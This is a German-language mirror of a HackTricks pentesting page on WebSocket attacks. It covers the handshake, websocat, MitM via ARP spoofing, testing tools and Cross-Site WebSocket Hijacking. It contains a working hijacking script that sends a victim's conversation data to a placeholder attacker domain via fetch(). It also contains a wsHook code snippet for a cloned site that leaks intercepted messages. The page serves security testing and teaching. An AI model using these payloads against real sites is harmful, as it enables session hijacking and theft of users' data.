Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 09:27:32 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/websocket-attacks.md
Translator workflow 6af5d4e1a0 Translated to German
2024-02-10 15:36:32 +00:00

13 KiB
Raw Blame History

WebSocket-Angriffe

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Was sind WebSockets

WebSocket-Verbindungen werden durch einen initialen HTTP-Handshake hergestellt und sind darauf ausgelegt, langfristig zu sein, um eine bidirektionale Kommunikation zu ermöglichen, ohne dass ein transaktionales System erforderlich ist. Dies macht WebSockets besonders vorteilhaft für Anwendungen, die eine geringe Latenz oder serverinitiierte Kommunikation erfordern, wie z.B. Live-Finanzdatenströme.

Aufbau von WebSocket-Verbindungen

Eine detaillierte Erklärung zum Aufbau von WebSocket-Verbindungen finden Sie hier. Zusammenfassend werden WebSocket-Verbindungen in der Regel über clientseitiges JavaScript initiiert, wie unten gezeigt:

var ws = new WebSocket("wss://normal-website.com/ws");

Das wss-Protokoll kennzeichnet eine WebSocket-Verbindung, die mit TLS gesichert ist, während ws auf eine ungesicherte Verbindung hinweist.

Während des Verbindungsaufbaus wird ein Handshake zwischen dem Browser und dem Server über HTTP durchgeführt. Der Handshake-Prozess beinhaltet, dass der Browser eine Anfrage sendet und der Server antwortet, wie in den folgenden Beispielen dargestellt:

Der Browser sendet eine Handshake-Anfrage:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Antwort des Servers auf den Handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Die Verbindung bleibt nach der Einrichtung für den Austausch von Nachrichten in beide Richtungen geöffnet.

Hauptpunkte des WebSocket-Handshakes:

  • Die Header Connection und Upgrade signalisieren den Beginn eines WebSocket-Handshakes.
  • Der Header Sec-WebSocket-Version gibt die gewünschte WebSocket-Protokollversion an, normalerweise 13.
  • Ein Base64-kodierter Zufallswert wird im Header Sec-WebSocket-Key gesendet, um sicherzustellen, dass jeder Handshake eindeutig ist. Dadurch werden Probleme mit Caching-Proxies vermieden. Dieser Wert dient nicht zur Authentifizierung, sondern zur Bestätigung, dass die Antwort nicht von einem fehlerhaft konfigurierten Server oder Cache generiert wurde.
  • Der Header Sec-WebSocket-Accept in der Antwort des Servers ist ein Hash des Sec-WebSocket-Key und bestätigt die Absicht des Servers, eine WebSocket-Verbindung zu öffnen.

Diese Funktionen gewährleisten, dass der Handshake-Prozess sicher und zuverlässig ist und eine effiziente Echtzeitkommunikation ermöglicht.

Linux-Konsole

Sie können websocat verwenden, um eine Rohverbindung mit einem WebSocket herzustellen.

websocat --insecure wss://10.10.10.10:8000 -v

Oder um einen Websocat-Server zu erstellen:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM-Websocket-Verbindungen

Wenn Sie feststellen, dass Clients über ein HTTP-Websocket aus Ihrem aktuellen lokalen Netzwerk verbunden sind, können Sie versuchen, einen ARP-Spoofing-Angriff durchzuführen, um einen MitM-Angriff zwischen dem Client und dem Server durchzuführen.
Sobald der Client versucht, eine Verbindung herzustellen, können Sie dann Folgendes verwenden:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets-Aufzählung

Sie können das Tool https://github.com/PalindromeLabs/STEWS verwenden, um Websockets automatisch zu entdecken, zu identifizieren und nach bekannten Schwachstellen zu suchen.

Websocket-Debugging-Tools

  • Burp Suite unterstützt die MitM-Kommunikation von Websockets auf ähnliche Weise wie bei regulärer HTTP-Kommunikation.
  • Die Burp Suite-Erweiterung socketsleuth ermöglicht eine bessere Verwaltung von Websocket-Kommunikation in Burp, indem Sie den Verlauf abrufen, Interception-Regeln festlegen, Match- und Replace-Regeln verwenden und Intruder und AutoRepeater nutzen.
  • WSSiP: Abkürzung für "WebSocket/Socket.io Proxy", dieses in Node.js geschriebene Tool bietet eine Benutzeroberfläche zum Erfassen, Abfangen, Senden von benutzerdefinierten Nachrichten und Anzeigen aller WebSocket- und Socket.IO-Kommunikationen zwischen Client und Server.
  • wsrepl ist ein interaktiver WebSocket-REPL, der speziell für Penetrationstests entwickelt wurde. Es bietet eine Schnittstelle zum Beobachten von eingehenden WebSocket-Nachrichten und Senden neuer Nachrichten, mit einem benutzerfreundlichen Framework zur Automatisierung dieser Kommunikation.
  • https://websocketking.com/ ist eine Webseite zur Kommunikation mit anderen Webseiten über Websockets.
  • https://hoppscotch.io/realtime/websocket bietet neben anderen Arten von Kommunikationsprotokollen eine Webseite zur Kommunikation mit anderen Webseiten über Websockets.

Websocket-Labor

In Burp-Suite-Extender-Montoya-Course finden Sie einen Code, um eine Webseite mit Websockets zu starten, und in diesem Beitrag finden Sie eine Erklärung dazu.

Cross-Site WebSocket-Hijacking (CSWSH)

Cross-Site WebSocket-Hijacking, auch bekannt als Cross-Origin WebSocket-Hijacking, wird als spezieller Fall von Cross-Site Request Forgery (CSRF) identifiziert, der WebSocket-Handshakes betrifft. Diese Schwachstelle tritt auf, wenn WebSocket-Handshakes ausschließlich über HTTP-Cookies ohne CSRF-Token oder ähnliche Sicherheitsmaßnahmen authentifiziert werden.

Angreifer können dies ausnutzen, indem sie eine bösartige Webseite hosten, die eine Cross-Site-WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Diese Verbindung wird dann als Teil der Sitzung des Opfers mit der Anwendung behandelt und nutzt das Fehlen von CSRF-Schutz im Sitzungs-Handling-Mechanismus aus.

Einfacher Angriff

Beachten Sie, dass beim Aufbau einer WebSocket-Verbindung das Cookie an den Server gesendet wird. Der Server kann es verwenden, um jeden bestimmten Benutzer mit seiner WebSocket-Sitzung basierend auf dem gesendeten Cookie in Verbindung zu bringen.

Dann kann zum Beispiel der WebSocket-Server bei Senden von "READY" die Geschichte des Gesprächs eines Benutzers zurückschicken. Daher kann ein einfacher XSS-Angriff, der die Verbindung herstellt (das Cookie wird automatisch gesendet, um den Opferbenutzer zu autorisieren), indem er "READY" sendet, die Geschichte des Gesprächs abrufen.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie mit einem anderen Subdomain

In diesem Blog-Beitrag https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ gelang es dem Angreifer, beliebigen JavaScript-Code in einem Subdomain der Domain auszuführen, in der die Websocket-Kommunikation stattfand. Da es sich um eine Subdomain handelte, wurde das Cookie gesendet und da der Websocket den Ursprung nicht ordnungsgemäß überprüfte, war es möglich, mit ihm zu kommunizieren und Token daraus zu stehlen.

Daten von Benutzern stehlen

Kopieren Sie die Webanwendung, die Sie vortäuschen möchten (z. B. die .html-Dateien) und fügen Sie in das Skript, in dem die Websocket-Kommunikation stattfindet, den folgenden Code ein:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Jetzt laden Sie die Datei wsHook.js von https://github.com/skepticfx/wshook herunter und speichern Sie sie im Ordner mit den Webdateien.
Indem Sie die Webanwendung freigeben und einen Benutzer damit verbinden, können Sie die über Websocket gesendeten und empfangenen Nachrichten stehlen:

sudo python3 -m http.server 80

Race Conditions

Race Conditions in WebSockets sind auch ein Thema, überprüfen Sie diese Informationen, um mehr zu erfahren.

Andere Schwachstellen

Da WebSockets ein Mechanismus sind, um Daten an den Server- und Client-Seite zu senden, können WebSockets, abhängig davon, wie der Server und der Client die Informationen verarbeiten, verwendet werden, um mehrere andere Schwachstellen wie XSS, SQLi oder jede andere gängige Web-Schwachstelle unter Verwendung einer Eingabe eines Benutzers über einen WebSocket auszunutzen.

WebSocket Smuggling

Diese Schwachstelle könnte es Ihnen ermöglichen, die Beschränkungen von Reverse Proxies zu umgehen, indem Sie sie glauben machen, dass eine WebSocket-Kommunikation hergestellt wurde (auch wenn dies nicht der Fall ist). Dies könnte einem Angreifer ermöglichen, auf versteckte Endpunkte zuzugreifen. Weitere Informationen finden Sie auf der folgenden Seite:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: